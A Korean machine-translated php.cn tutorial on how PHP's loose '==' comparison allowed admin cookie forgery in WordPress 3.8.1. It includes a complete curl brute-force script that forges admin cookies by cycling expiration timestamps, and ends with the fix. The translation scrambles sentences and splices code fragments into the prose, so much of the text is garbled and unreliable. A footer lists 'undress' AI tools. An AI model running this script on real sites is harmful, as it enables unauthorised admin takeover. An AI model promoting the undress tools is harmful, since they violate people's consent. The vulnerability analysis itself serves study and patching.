PHP 약한 타이핑: WordPress 쿠키 위조-PHP 튜토리얼-php.cn

집

백엔드 개발

PHP 튜토리얼

PHP 약한 타이핑: WordPress 쿠키 위조

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB

Aug 10, 2016 am 08:48 AM

cookiecurlhashhmacwordpress

1 PHP 약한 유형

PHP는 약한 유형 언어이므로 다양한 사용 시나리오로 인해 변수가 자동으로 유형 변환을 거칩니다. . PHP에서는 == 및 을 사용하세요! = 동등판정시 ===, 를 이용해서 자동으로 형변환을 해준다! == 판단시 유형이 자동으로 변환되지 않습니다.

<span>1</span> <span>php
</span><span>2</span><span>$a</span> = 3<span>;
</span><span>3</span><span>$b</span> = '3vic'<span>;
</span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>

참고: PHP에서 문자열을 정수로 변환할 때 숫자로 시작하면 이전 숫자('3vic' -> 3)로 변환됩니다. ). 숫자로 시작하지 않으면 0으로 변환됩니다('vic' -> 0)

2 WordPress 코드

WordPress 3.8.1 및 WordPress 3.8.2 일부 코드 차이점

<span>1</span> <span>php
</span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>

쿠키는

로 구성됩니다. 클라이언트 배경은 아래와 같이 쿠키 중 하나만 확인합니다.

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly

쿠키 이름이 wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 형식인 경우 wordpress_ + md5(siteurl)인 경우 siteurl는 WordPress의 URL이고, 여기 웹사이트 주소가 있습니다. <code>http://www.test.ichunqiu,http://www.test.ichunqiuc47f4a97d0321c1980bb76fc00d1e78f에 대해 md5를 암호화한 후,는

c47f4a97d0321c1980bb76fc00d1e78f, 다른 부분도 생략 가능합니다.

사용자 이름 만료 시간 입력 로그인 성공 후 서버가 클라이언트에 할당한 해시 값

对应变量	$username	$expiration	<span>$hmac</span>
cookies	admin	1433403595	cf50f3b50eed94dd0fdc3d3ea2c7bbb

$username

$expiration

$hmac

쿠키

<span>1</span> <span>php
</span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
</span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
</span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
</span><span>5</span>     do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
</span><span>6</span><span>return</span><span>false</span><span>;
</span><span>7</span> }

관리자

1433403595

cf50f3b50eed94dd0fdc3d3ea2c7bbb

$expiration분석 검증 로그인$expiration 코드$hashwp- include/pluggable.php 543~549행

코드에 사용되는 변수 중 클라이언트 쿠키를 변경하여 제어할 수 있는 변수는

사용자 이름,

$expiration 유효 기간이 있으며 사용자 이름은 고정되어 있으므로 <code>$hmac == $hash 만 제어 가능하므로 <code>$hmac 에서 변경할 수 있습니다 $ $hash을 변경하려면 만료 <code>$hmac 메서드를 사용하세요. if ( $hmac != $hash ) { PHP 해시와 결합 비교 결함var_dump($hmac);die();워드프레스 분석<code>$hmac string '0'을 true로 만들 수 있는 가능성은 여러 가지가 있습니다. 문자열은 완전히 동일하거나 int 0이 0이고

$hash

는 문자 세트

<span>1</span> <span>php
</span><span>2</span><span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span>

값을 0으로 변경한 다음 위 줄에 var_dump($hmac);die();를 작성합니다. 0e156464513131 인쇄물을 찾으려면 $hash $hmac의 결과는 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 대신 $hash 입니다. 코드는 다음과 같습니다.

은 10의 156464513131승으로 인식됩니다. 여전히 0이므로

0e로 시작하고 뒤에 숫자가 오면

<p>$hmac</p>
<pre class="brush:php;toolbar:false">&lt;span&gt; 1&lt;/span&gt; &lt;span&gt;php
&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt; 3&lt;/span&gt;&lt;span&gt; 4&lt;/span&gt;&lt;span&gt;本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
&lt;/span&gt;&lt;span&gt; 5&lt;/span&gt;&lt;span&gt;传入两个值
&lt;/span&gt;&lt;span&gt; 6&lt;/span&gt;&lt;span&gt;  WordPress 的主页 $host
&lt;/span&gt;&lt;span&gt; 7&lt;/span&gt;&lt;span&gt;  管理员用户名     $root
&lt;/span&gt;&lt;span&gt; 8&lt;/span&gt;&lt;span&gt;*/&lt;/span&gt;&lt;span&gt; 9&lt;/span&gt;&lt;span&gt;header&lt;/span&gt;(&quot;Content-type:text/html;charset=utf-8&quot;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;11&lt;/span&gt;&lt;span&gt;$host&lt;/span&gt; = 'http://xxx.xxx.xxx';&lt;span&gt;//&lt;/span&gt;&lt;span&gt;主页地址 结尾不带'/'&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;$root&lt;/span&gt; = 'user';&lt;span&gt;//&lt;/span&gt;&lt;span&gt;管理员用户名&lt;/span&gt;&lt;span&gt;13&lt;/span&gt;&lt;span&gt;14&lt;/span&gt;&lt;span&gt;$url&lt;/span&gt; = &lt;span&gt;$host&lt;/span&gt;.'/wp-admin/';&lt;span&gt;//&lt;/span&gt;&lt;span&gt;后台管理地址    &lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;$sitehash&lt;/span&gt;=&lt;span&gt;md5&lt;/span&gt;(&lt;span&gt;$host&lt;/span&gt;&lt;span&gt;); 
&lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt; &quot;\nWelcome\n\n&quot;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;//&lt;/span&gt;&lt;span&gt;通过时间戳暴力破解cookie 实现伪造cookie&lt;/span&gt;&lt;span&gt;19&lt;/span&gt;&lt;span&gt;for&lt;/span&gt;(&lt;span&gt;$i&lt;/span&gt;=1500000000;&lt;span&gt;$i&lt;/span&gt;$i++&lt;span&gt;){
&lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt;$cookie&lt;/span&gt; = &quot;wordpress_&quot;.&lt;span&gt;$sitehash&lt;/span&gt;.&quot;=&quot;.&lt;span&gt;$root&lt;/span&gt;.&quot;|&quot;.&lt;span&gt;$i&lt;/span&gt;.&quot;|0;&quot;;&lt;span&gt;//&lt;/span&gt;&lt;span&gt;组合构造cookie&lt;/span&gt;&lt;span&gt;21&lt;/span&gt;&lt;span&gt;$header&lt;/span&gt; = &lt;span&gt;array&lt;/span&gt;&lt;span&gt;(
&lt;/span&gt;&lt;span&gt;22&lt;/span&gt;        &quot;Content-Type:application/x-www-form-urlencoded&quot;,
&lt;span&gt;23&lt;/span&gt;       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
&lt;span&gt;24&lt;/span&gt;       &quot;Cookie:&quot;.&lt;span&gt;$cookie&lt;/span&gt;,
&lt;span&gt;25&lt;/span&gt;&lt;span&gt;      );
&lt;/span&gt;&lt;span&gt;26&lt;/span&gt;&lt;span&gt;27&lt;/span&gt;&lt;span&gt;$curl&lt;/span&gt; = curl_init(); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 启动一个CURL会话    &lt;/span&gt;&lt;span&gt;28&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_URL, &lt;span&gt;$url&lt;/span&gt;); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 要访问的地址&lt;/span&gt;&lt;span&gt;29&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_FOLLOWLOCATION, 1); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 使用自动跳转    &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_AUTOREFERER, 1); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 自动设置Referer    &lt;/span&gt;&lt;span&gt;31&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_HTTPGET, &lt;span&gt;true&lt;/span&gt;); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 发送一个常规的Post请求    &lt;/span&gt;&lt;span&gt;32&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_HTTPHEADER, &lt;span&gt;$header&lt;/span&gt;); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 读取上面所储存的Cookie信息         &lt;/span&gt;&lt;span&gt;33&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_RETURNTRANSFER, 1); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 获取的信息以文件流的形式返回 &lt;/span&gt;&lt;span&gt;34&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_HEADER, &lt;span&gt;false&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;35&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_HEADER, 0&lt;span&gt;);   
&lt;/span&gt;&lt;span&gt;36&lt;/span&gt;         curl_setopt(&lt;span&gt;$curl&lt;/span&gt;, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);&lt;span&gt;//&lt;/span&gt;&lt;span&gt;让curl自动选择版本&lt;/span&gt;&lt;span&gt;37&lt;/span&gt;&lt;span&gt;$tmpInfo&lt;/span&gt; = curl_exec(&lt;span&gt;$curl&lt;/span&gt;); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 执行操作&lt;/span&gt;&lt;span&gt;38&lt;/span&gt;&lt;span&gt;if&lt;/span&gt; (curl_errno(&lt;span&gt;$curl&lt;/span&gt;&lt;span&gt;)) {    
&lt;/span&gt;&lt;span&gt;39&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt; 'Errno'.curl_error(&lt;span&gt;$curl&lt;/span&gt;&lt;span&gt;);    
&lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt;        }    
&lt;/span&gt;&lt;span&gt;41&lt;/span&gt;         curl_close(&lt;span&gt;$curl&lt;/span&gt;); &lt;span&gt;//&lt;/span&gt;&lt;span&gt; 关闭CURL会话
&lt;/span&gt;&lt;span&gt;42&lt;/span&gt;&lt;span&gt;43&lt;/span&gt;&lt;span&gt;        //匹配结果&lt;/span&gt;&lt;span&gt;44&lt;/span&gt;&lt;span&gt;if&lt;/span&gt;(&lt;span&gt;strstr&lt;/span&gt;(&lt;span&gt;$tmpInfo&lt;/span&gt;,'我们准备了几个链接供您开始'&lt;span&gt;)){
&lt;/span&gt;&lt;span&gt;45&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;  &quot;\n&quot;.'success : '.&lt;span&gt;$cookie&lt;/span&gt;.&quot;\n\n&quot;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;46&lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;47&lt;/span&gt;         }&lt;span&gt;else&lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;48&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;  'fail : '.&lt;span&gt;$cookie&lt;/span&gt;.&quot;\n&quot;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;49&lt;/span&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;span&gt;51&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;52&lt;/span&gt; ?&gt;    </pre>

의 값과 같습니다. '0'이므로 클라이언트의 쿠키를 다음과 같이 설정할 수 있습니다

. 그런 다음 만료 시간(현재 위치 1433403595)을 지속적으로 업데이트하여 은 0e로 시작하고 뒤에 모든 숫자가 따르므로 검증 및 통과가 가능합니다. 충돌이 성공했다고 가정하고, 브라우저의 쿠키를 수정하고 백엔드 주소에 직접 접근하여 백엔드에 로그인하는데 성공합니다. 3 테스트 스크립트 클라이언트 쿠키의 만료 시간 값을 변경하여 지속적으로 백그라운드로 로그인을 시도하여 쿠키 위조 로그인 백엔드를 달성하기 위해 배경에 들어갈 수 있는 시간입니다.

설명: 이론적으로 32비트 MD5 값은 다음으로 시작합니다. 0e 초기는

3억분의 1

정도이며, 악용 가능한 $expiration에 걸릴 확률은 극히 낮습니다. 5개 수정

PHP에서 사용되는 해시 비교 함수, 여기서 ==,

! =

이 각각

===

및

으로 변경되었습니다! == 또는 MD5를 사용하여 비교된 두 변수를 다시 암호화합니다. 학습 노트: http://ichunqiu.com/course/167 위 내용을 포함하여 PHP 약한 유형인 WordPress 쿠키 위조에 대해 소개합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명

본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

관련 기사

PHP 실행 : 실제 예제 및 응용 프로그램Apr 14, 2025 am 12:19 AM

PHP는 전자 상거래, 컨텐츠 관리 시스템 및 API 개발에 널리 사용됩니다. 1) 전자 상거래 : 쇼핑 카트 기능 및 지불 처리에 사용됩니다. 2) 컨텐츠 관리 시스템 : 동적 컨텐츠 생성 및 사용자 관리에 사용됩니다. 3) API 개발 : 편안한 API 개발 및 API 보안에 사용됩니다. 성능 최적화 및 모범 사례를 통해 PHP 애플리케이션의 효율성과 유지 보수 성이 향상됩니다.

PHP : 대화식 웹 컨텐츠를 쉽게 만들 수 있습니다Apr 14, 2025 am 12:15 AM

PHP를 사용하면 대화식 웹 컨텐츠를 쉽게 만들 수 있습니다. 1) HTML을 포함하여 컨텐츠를 동적으로 생성하고 사용자 입력 또는 데이터베이스 데이터를 기반으로 실시간으로 표시합니다. 2) 프로세스 양식 제출 및 동적 출력을 생성하여 htmlspecialchars를 사용하여 XSS를 방지합니다. 3) MySQL을 사용하여 사용자 등록 시스템을 작성하고 Password_Hash 및 전처리 명세서를 사용하여 보안을 향상시킵니다. 이러한 기술을 마스터하면 웹 개발의 효율성이 향상됩니다.

PHP 및 Python : 두 가지 인기있는 프로그래밍 언어를 비교합니다Apr 14, 2025 am 12:13 AM

PHP와 Python은 각각 고유 한 장점이 있으며 프로젝트 요구 사항에 따라 선택합니다. 1.PHP는 웹 개발, 특히 웹 사이트의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 간결한 구문을 가진 데이터 과학, 기계 학습 및 인공 지능에 적합하며 초보자에게 적합합니다.

PHP는 여전히 역동적이며 현대 프로그래밍 분야에서 여전히 중요한 위치를 차지하고 있습니다. 1) PHP의 단순성과 강력한 커뮤니티 지원으로 인해 웹 개발에 널리 사용됩니다. 2) 유연성과 안정성은 웹 양식, 데이터베이스 작업 및 파일 처리를 처리하는 데 탁월합니다. 3) PHP는 지속적으로 발전하고 최적화하며 초보자 및 숙련 된 개발자에게 적합합니다.

PHP의 현재 상태 : 웹 개발 동향을 살펴보십시오Apr 13, 2025 am 12:20 AM

PHP는 현대 웹 개발, 특히 컨텐츠 관리 및 전자 상거래 플랫폼에서 중요합니다. 1) PHP는 Laravel 및 Symfony와 같은 풍부한 생태계와 강력한 프레임 워크 지원을 가지고 있습니다. 2) Opcache 및 Nginx를 통해 성능 최적화를 달성 할 수 있습니다. 3) PHP8.0은 성능을 향상시키기 위해 JIT 컴파일러를 소개합니다. 4) 클라우드 네이티브 애플리케이션은 Docker 및 Kubernetes를 통해 배포되어 유연성과 확장 성을 향상시킵니다.

PHP 대 기타 언어 : 비교Apr 13, 2025 am 12:19 AM

PHP는 특히 빠른 개발 및 동적 컨텐츠를 처리하는 데 웹 개발에 적합하지만 데이터 과학 및 엔터프라이즈 수준의 애플리케이션에는 적합하지 않습니다. Python과 비교할 때 PHP는 웹 개발에 더 많은 장점이 있지만 데이터 과학 분야에서는 Python만큼 좋지 않습니다. Java와 비교할 때 PHP는 엔터프라이즈 레벨 애플리케이션에서 더 나빠지지만 웹 개발에서는 더 유연합니다. JavaScript와 비교할 때 PHP는 백엔드 개발에서 더 간결하지만 프론트 엔드 개발에서는 JavaScript만큼 좋지 않습니다.

PHP vs. Python : 핵심 기능 및 기능Apr 13, 2025 am 12:16 AM

PHP와 Python은 각각 고유 한 장점이 있으며 다양한 시나리오에 적합합니다. 1.PHP는 웹 개발에 적합하며 내장 웹 서버 및 풍부한 기능 라이브러리를 제공합니다. 2. Python은 간결한 구문과 강력한 표준 라이브러리가있는 데이터 과학 및 기계 학습에 적합합니다. 선택할 때 프로젝트 요구 사항에 따라 결정해야합니다.

PHP : 웹 개발의 핵심 언어Apr 13, 2025 am 12:08 AM

PHP는 서버 측에서 널리 사용되는 스크립팅 언어이며 특히 웹 개발에 적합합니다. 1.PHP는 HTML을 포함하고 HTTP 요청 및 응답을 처리 할 수 있으며 다양한 데이터베이스를 지원할 수 있습니다. 2.PHP는 강력한 커뮤니티 지원 및 오픈 소스 리소스를 통해 동적 웹 컨텐츠, 프로세스 양식 데이터, 액세스 데이터베이스 등을 생성하는 데 사용됩니다. 3. PHP는 해석 된 언어이며, 실행 프로세스에는 어휘 분석, 문법 분석, 편집 및 실행이 포함됩니다. 4. PHP는 사용자 등록 시스템과 같은 고급 응용 프로그램을 위해 MySQL과 결합 할 수 있습니다. 5. PHP를 디버깅 할 때 error_reporting () 및 var_dump ()와 같은 함수를 사용할 수 있습니다. 6. 캐싱 메커니즘을 사용하여 PHP 코드를 최적화하고 데이터베이스 쿼리를 최적화하며 내장 기능을 사용하십시오. 7

See all articles

핫 AI 도구

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

SublimeText3 Linux 새 버전

SublimeText3 Linux 최신 버전

Eclipse용 SAP NetWeaver 서버 어댑터

Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

Dreamweaver Mac版

시각적 웹 개발 도구

DVWA

DVWA(Damn Vulnerable Web App)는 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. 주요 목표는 보안 전문가가 법적 환경에서 자신의 기술과 도구를 테스트하고, 웹 개발자가 웹 응용 프로그램 보안 프로세스를 더 잘 이해할 수 있도록 돕고, 교사/학생이 교실 환경 웹 응용 프로그램에서 가르치고 배울 수 있도록 돕는 것입니다. 보안. DVWA의 목표는 다양한 난이도의 간단하고 간단한 인터페이스를 통해 가장 일반적인 웹 취약점 중 일부를 연습하는 것입니다. 이 소프트웨어는